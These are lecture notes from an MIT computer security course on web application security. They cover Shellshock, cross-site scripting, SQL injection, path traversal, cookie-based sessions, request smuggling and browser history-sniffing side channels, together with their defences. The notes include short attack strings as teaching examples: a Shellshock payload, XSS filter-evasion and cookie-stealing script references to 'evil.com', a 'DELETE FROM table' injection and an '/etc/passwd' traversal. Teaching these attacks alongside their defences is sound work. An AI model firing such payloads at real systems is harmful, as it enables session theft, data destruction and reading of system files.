6.858 Lecture 9
WEB SECURITY: Part II

Last lecture, we looked at a core security mechanism for the web: the same-origin policy. In this lecture, we'll continue to look at how we can build secure web applications.

The recent "Shell Shock" bug is a good example of how difficult it is to design web services that compose multiple technologies.

- A web client can include extra headers in its HTTP requests, and determine which query parameters are in a request. Ex:
    - GET /query.cgi?searchTerm=cats HTTP 1.1
    - Host: www.example.com
    - Custom-header: Custom-value
- CGI servers map the various components of the HTTP request to Unix environment variables.
- Vulnerability: Bash has a parsing bug in the way that it handles the setting of environment variables! If a string begins with a certain set of malformed bytes, bash will continue to parse the rest of the string and execute any commands that it finds! For example, if you set an environment variable to a value like this…

```
() { :;};  /bin/id
```

- …will confuse the bash parser, and cause it to execute the /bin/id command (which displays the UID and GID information for the current user).
- Live demo
    - Step 1: Run the CGI server.
        - ./victimwebserver.py 8082
    - Step 2: Run the exploit script.
        - ./shellshockclient.py localhost:8082 index.html
- More information: http://seclists.org/oss-sec/2014/q3/650

Shell Shock is a particular instance of security bugs which arise from improper content sanitzation. Another type of content sanitzation failure occurs during cross-site scripting attacks (XSS).
Example: Suppose that a CGI script embeds a query string parameter in the HTML that it generates.
Demo:

- Step 1: Run the CGI server.
    - ./cgiServer.py
- Step 2: In browser, load these URLs:

```
http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=hello
http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<b>hello</b>
```

```
http://127.0.0.1:8282/cgi-
bin/uploadRecv.py?msg=<script>alert("XSS");</script>
                      //The XSS attack doesn't work for this one . . .
                      //we'll see why later in the lecture.
http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<IMG
"""><SCRIPT>alert("XSS")</SCRIPT>">
                      //This works! [At least on Chrome 37.0.2062.124.]
                      //Even though the browser caught the
                      //straightforward XSS injection, it
                      //incorrectly parsed our intentionally
                      //malformed HTML.
```

For more examples of XSS exploits via malformed code, go here:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Why is cross-site scripting so prevalent?

- Dynamic web sites incorporate user content in HTML pages (e.g., comments sections).
- Web sites host uploaded user documents.
    - HTML documents can contain arbitrary Javascript code!
    - Non-HTML documents may be content-sniffed as HTML by browsers.
- Insecure Javascript programs may directly execute code that comes from external parties (e.g., eval(), setTimeout(), etc.).

XSS defenses

- Chrome and IE have a built-in feature which uses heuristics to detect potential cross-site scripting attacks.
    - Ex: Is a script which is about to execute included in the request that fetched the enclosing page?
        - http://foo.com?q=<script src="evil.com/cookieSteal.js"/>
    - If so, this is strong evidence that something suspicious is about to happen! The attack above is called a "reflected XSS attack," because the server "reflects" or "returns" the attacker-supplied code to the user's browser, executing it in the context of the victim page.
        - This is why our first XSS attack in the CGI example didn't work—the browser detected reflected JavaScript in the URL, and removed the trailing </script> before it even reached the CGI server.
        - However . . .
    - Filters don't have 100% coverage, because there are a huge number of ways to encode an XSS attack!
      https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
        - This is why our second XSS attack succeeded---the browser got confused by our intentionally malformed HTML.
    - Problem: Filters can't catch persistent XSS attacks in which the server saves attacker-provided data, which is then permanently distributed to clients.
        - Classic example: A "comments" section which allows users to post HTML messages.

        - Another example: Suppose that a dating site allows users to include HTML in their profiles. An attacker can add HTML that will run in a *different* user's browser when that user looks at the attacker's profile! Attacker could steal the user's cookie.
- Another XSS defense: "httponly" cookies.
    - A server can tell a browser that client-side JavaScript should not be able to access a cookie. [The server does this by adding the "Httponly" token to a "Set-cookie" HTTP response value.]
    - This is only a partial defense, since the attacker can still issue requests that contain a user's cookies (CSRF).
- Privilege separation: Use a separate domain for untrusted content.
    - For example, Google stores untrusted content in googleusercontent.com (e.g., cached copies of pages, Gmail attachments).
    - Even if XSS is possible in the untrusted content, the attacker code will run in a different origin.
    - There may still be problems if the content in googleusercontent.com points to URLs in google.com.
- Content sanitization: Take untrusted content and encode it in a way that constrains how it can be interpreted.
    - Ex: Django templates: Define an output page as a bunch of HTML that has some "holes" where external content can be inserted. [https://docs.djangoproject.com/en/dev/topics/templates/#automatico htmlo escaping]
    - A template might contain code like this…
        - `<b>Hello {{ name }} </b>`
    - … where "name" is a variable that is resolved when the page is processed by the Django template engine. That engine will take the value of "name" (e.g., from a usero supplied HTTP query string), and then automatically escape dangerous characters. For example:
        - angle brackets < and > --> < and >
        - double quotes " --> "
    - This prevents untrusted content from injecting HTML into the rendered page.
    - Templates cannot defend against all attacks! For example . . .
        - `<div class={{ var }}>...</div>`
    - …if var equals…
        - `'class1 onmouseover=javascript:func()'`
    - …then there may be an XSS attack, depending on how the browser parses the malformed HTML.
    - So, content sanitization kind-of works, but it's extremely difficult to parse HTML in an unambigous way.
    - Possibly better approach: Completely disallow externally-provided HTML, and force external content to be expressed in a smaller language (e.g., Markdown: http://daringfireball.net/projects/markdown/syntax). Validated Markdown can then be translated into HTML.

- Content Security Policy (CSP): Allows a web server to tell the browser which kinds of resources can be loaded, and the allowable origins for those resources.
    - Server specifies one or more headers of the type "Content-Security-Policy".
    - Example:
        - Content-Security-Policy: default-src 'self' *.mydomain.com
            - Only allow content from the page's domain and its subdomains.
    - You can specify separate policies for where images can come from, where scripts can come from, frames, plugins, etc.
    - CSP also prevents inline JavaScript, and JavaScript interfaces like eval() which allow for dynamic JavaScript generation.
- Some browsers allow servers to disable content-type sniffing (X-Content-Type-Options: nosniff).

SQL injection attacks.

- Suppose that the application needs to issue SQL query based on user input:
    - query = "SELECT * FROM table WHERE userid=" + userid
- Problem: adversary can supply userid that changes SQL query structure
    - e.g.,"0; DELETE FROM table;"
- What if we add quoting around userid?
    - query = "SELECT * FROM table WHERE userid='" + userid + "'"
- The vulnerability still exists! The attacker can just add another quote as first byte of userid.
- Real solution: unambiguously encode data.
- Ex: replace ' with \', etc.
    - SQL libraries provide escaping functions.
- Django defines a query abstraction layer which sits atop SQL and allows applications to avoid writing raw SQL (although they can do it if they really want to).
- (Possibly fake) German license plate which says ";DROP TABLE" to avoid speeding cameras which use OCR+SQL to extract license plate number.

You can also run into problems if untrusted entities can supply filenames.

- Ex: Suppose that a web server reads files based on user-supplied parameters.
    - open("/www/images/" + filename)
- Problem: filename might look like this:
    - ../../../../../etc/passwd
- As with SQL injection, the server must sanitize the user input: the server must reject file names with slashes, or encode the slashes in some way.

What is Django?

- Moderately popular web framework, used by some large sites like Instagram, Mozilla, and Pinterest.

    - A "web framework" is a software system that provides infrastructure for tasks like database accesses, session management, and the creation of templated content that can be used throughout a site.
    - Other frameworks are more popular: PHP, Ruby on Rails.
    - In the enterprise world, Java servlets and ASP are also widely used.
- Django developers have put some amount of thought into security.
    - So, Django is a good case study to see how people implement web security in practice.
- Django is probably better in terms of security than some of the alternatives like PHP or Ruby on Rails, but the devil is in the details.
    - As we'll discuss two lectures from now, researchers have invented some frameworks that offer provably better security.
        - [Ur/Web: http://www.impredicative.com/ur/]

Session management: cookies.
(http://pdos.csail.mit.edu/papers/webauth:sec10.pdf
Zoobar, Django, and many web frameworks put a random session ID in the cookie.

- The Session ID refers to an entry in some session table on the web server. The entry stores a bunch of per-user information.
- Session cookies are sensitive: adversary can use them to impersonate a user!
- As we discussed last lecture, the same-origin policy helps to protect cookies …but you shouldn't share a domain with sites that you don't trust! Otherwise, those sites can launch a session fixation attack:
    1) Attacker sets the session ID in the shared cookie.
    2) User navigates to the victim site; the attacker-choosen session ID is sent to the server and used to identify the user's session entry.
    3) Later, the attacker can navigate to the victim site using the attacker-chosen session id, and access the user's state!
- Hmmm, but what if we don't want to have server-side state for every logged in user?

Stateless cookies

- If you don't have the notion of a session, then you need to authenticate every request!
    - Idea: Authenticate the cookie using cryptography.
    - Primitive: Message authentication codes (MACs)
        - Think of it like a keyed hash, e.g., HMAC-SHA1: H(k, m)
        - -Client and server share a key; client uses key to produce the message, and the server uses the key to verify the message.
    - AWS S3 REST Services use this kind of cookie [http://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html].
        - Amazon gives each developer an AWS Access Key ID, and an AWS secret key. Each request looks like this:

```
GET /photos/cat.jpg HTTP/1.1
Host: johndoe.s3.amazonaws.com
Date: Mon, 26 Mar 2007 19:37:58 +0000
Authorization: AWS
AKIAIOSFODNN7EXAMPLE:frJIUN8DYpKDtOLCwoyllqDzg=
|____________________| |_____________________________|
    Access key ID              MAC signature
```

- Here's what is signed (this is slightly simplified, see the link above for the full story):

```
StringToSign = HTTP-Verb + "\n" +
     Content-MD5 + "\n" +
          Content-Type + "\n" +
     Date + "\n" +
          ResourceName
```

- Note that this kind of cookie doesn't expire in the traditional sense (although the server will reject the request if Amazon has revoked the user's key).
  - You can embed an "expiration" field in a *particular* request, and then hand that URL to a third-party, such that, if the third-party waits too long, AWS will reject the request as expired.

```
AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Expires=1141889120&Sign
ature=vjbyPxybd...                    |_________________|

                                      Included in the string
                                      that's covered by the
                                      signature!
```

- Note that the format for the string-to-hash should provide unambiguous parsing!
  - Ex: No component should be allowed to embed the escape character, otherwise the server-side parser may get confused.

- Q: How do you log out with this kind of cookie design?
- A: Impossible, if the server is stateless (closing a session would require a server-side table of revoked cookies).
- If server can be stateful, session IDs make this much simpler.
- There's a fundamental trade-off between reducing server-side memory state and increasing server-side computation overhead for cryptography.

Alternatives to cookies for session management.

- Use HTML5 local storage, and implement your own authentication in Javascript.
  - Some web frameworks like Meteor do this.

    - Benefit: The cookie is not sent over the network to the server.
    - Benefit: Your authentication scheme is not subject to complex same-origin policy for cookies (e.g., DOM storage is bound to a single origin, unlike a cookie, which can be bound to multiple subdomains).
- Client-side X.509 certificates.
    - Benefit: Web applications can't steal or explicitly manipulate each other's certificates.
    - Drawback: Have weak story for revocation (we'll talk about this more in future lectures).
    - Drawback: Poor usability---users don't want to manage a certificate for each site that they visit!
    - Benefit/drawback: There isn't a notion of a session, since the certificate is "always on." For important operations, the application will have to prompt for a password.

The web stack has some protocol ambiguities that can lead to security holes.

- HTTP header injection from XMLHttpRequests
    - Javascript can ask browser to add extra headers in the request. So, what happens if we do this?

```
var x = new XMLHttpRequest();
x.open("GET", "http://foo.com");
x.setRequestHeader("Content-Length", "7");
    //Overrides the browser-computed field!
x.send("Gotcha!\r\n" +
       "GET /something.html HTTP/1.1\r\n" +
       "Host: bar.com");
```

    - The server at foo.com may interpret this as two separate requests! Later, when the browser receives the second request, it may overwrite a cache entry belonging to bar.com with content from foo.com!
    - Solution: Prevent XMLHttpRequests from setting sensitive fields like "Host:" or "Content-Length".
    - Takehome point: Unambiguous encoding is critical! Build reliable escaping/encoding!
- URL parsing ("The Tangled Web" page 154)
    - Flash had a slightly different URL parser than the browser.
    - Suppose the URL was http://example.com:80@foo.com/
        - Flash would compute the origin as "example.com".
        - Browser would compute the origin as "foo.com".
    - Bad idea: complex parsing rules just to determine the principal.
    - Bad idea: re-implementing complex parsing code.
- Here's a hilarious/terrifying way to launch attacks using Java applets that are stored in the .jar format.
    - In 2007, Lifehacker.com posted an article which described how you could hide .zip files inside of .gif files.

- Leverage the fact that image renderers process a file top-down, whereas decompressors for .zip files typically start from the end and go upwards.
- Attackers realized that .jar files are based on the .zip format!
- THUS THE GIFAR WAS BORN: half-gif, half-jar, all-evil.
  - Really simple to make a GIFAR: Just use "cat" on Linux or "cp" on Windows.
  - Suppose that target.com only allows external parties to upload images objects. The attacker can upload a GIFAR, and the GIFAR will pass target.com's image validation tests!
  - Then, if the attacker can launch a XSS attack, the attacker can inject HTML which refers to the ".gif" as an applet.

```
<applet code="attacker.class"
     archive="attacker.gif"
     ..>
```

  - The browser will load that applet and give it the authority of target.com!

Web applications are also vulnerable to covert channel attacks.

- A covert channel is a mechanism which allows two applications to exchange information, even though the security model prohibits those applications from communicating.
  - The channel is "covert" because it doesn't use official mechanisms for cross-app communication.
- Example #1: CSS-based sniffing attacks
  - Attacker has a website that he can convince the user to visit.
  - Attacker goal: Figure out the other websites that the user has visited (e.g., to determine the user's political views, medical history, etc.).
  - Exploit vector: A web browser uses different colors to display visited versus unvisited links! So, attacker page can generate a big list of candidate URLs, and then inspect the colors to see if the user has visited any of them.
    - Can check thousands of URLs a second!
    - Can go breadth-first, find hits for top-level domains, then go depth-first for each hit.
  - Fix: Force getComputedStyle() and related JavaScript interfaces to always say that a link is unvisited.
    - https://blog.mozilla.org/security/2010/03/31/plugging-the-css-history-leak/
- Example #2: Cache-based attacks
  - *Attacker setup and goal are the same as before.
  - *Exploit vector: It's much faster for a browser to access data that's cached instead of fetching it over the network. So, attacker page can generate a list of candidate images, try to load them, and see which ones load quickly!

    - This attack can reveal your location if the candidate images come from geographically specific images, e.g., Google Map tiles.
        - http://w2spconf.com/2014/papers/geo_inference.pdf
    - Fix: No good ones. A page could never cache objects, but this will hurt performance. But suppose that a site doesn't cache anything. Is it safe from history sniffing? No!
- Example #3: DNS-based attacks
    - Attacker setup and goal are the same as before.
    - Exploit vector: Attacker page generates references to objects in various domains. If the user has already accessed objects from that domain, the hostnames will already reside in the DNS cache, making subsequent object accesses faster!
        - http://sip.cs.princeton.edu/pub/webtiming.pdf
    - Fix: No good ones. Could use raw IP addresses for links, but this breaks a lot of things (e.g. DNS-based load balancing). However, suppose that a site doesn't cache anything and uses raw IP addresses for hostnames. Is it safe from history sniffing? No!
- Example #4: Rendering attacks.
    - Attacker setup and goal are the same as before.
    - Exploit vector: Attacker page loads a candidate URL in an iframe. Before the browser has fetched the content, the attacker page can access…

```
window.frames[1].location.href
```

    - …and read the value that the attacker set. However, once the browser has fetched the content, accessing that reference will return "undefined" due to the same-origin policy. So, the attacker can poll the value and see how long it takes to turn "undefined". If it takes a long time, the page must not have been cached!
        - http://lcamtuf.coredump.cx/cachetime/firefox.html
    - Fix: Stop using computers.

A web page also needs to use postMessage() securely.

- Two frames from different origins can use postMessage() to asynchronously exchange immutable strings.
    - Sender gets a reference to a window object, and does this:
        - `window.postMessage(msg, origin);`
    - Receiver defines an event handler for the special "message" event. The event handler receives the msg and the origin.
- Q: Why does the receiver have to check the origin of received message?
- A: To perform access control on senders! If the receiver implements sensitive functionality, it shouldn't respond to requests from arbitary
- origins.
    - Common mistake: The receiver uses regular expressions to check the sender's origin.

    - Even if origin matches /.foo.com/, doesn't mean it's from foo.com! Could be "xfoo.com", or "www.foo.com.bar.com".
    - More details: https://www.cs.utexas.edu/~shmat/shmat_ndss13postman.pdf
- Q: Why does the sender have to specify the intended origin of the receiver?
- A: postMessage() is applied to a window, not an origin.
    - Remember that an attacker may be able to navigate a window to a different location.
    - If the attacker navigates the window, another origin may receive message!
    - If the sender explictly specifies a target origin, the browser checks recipient origin before delivering the msg.
    - More details: http://css.csail.mit.edu/6.858/2013/readings/post-message.pdf

There are many other aspects to building a secure web application.

- Ex: ensure proper access control for server-side operations.
    - Django provides Python decorators to check access control rules.
- Ex: Maintain logs for auditing, prevent an attacker from modifying the log.

6.858 Computer Systems Security

Fall 2014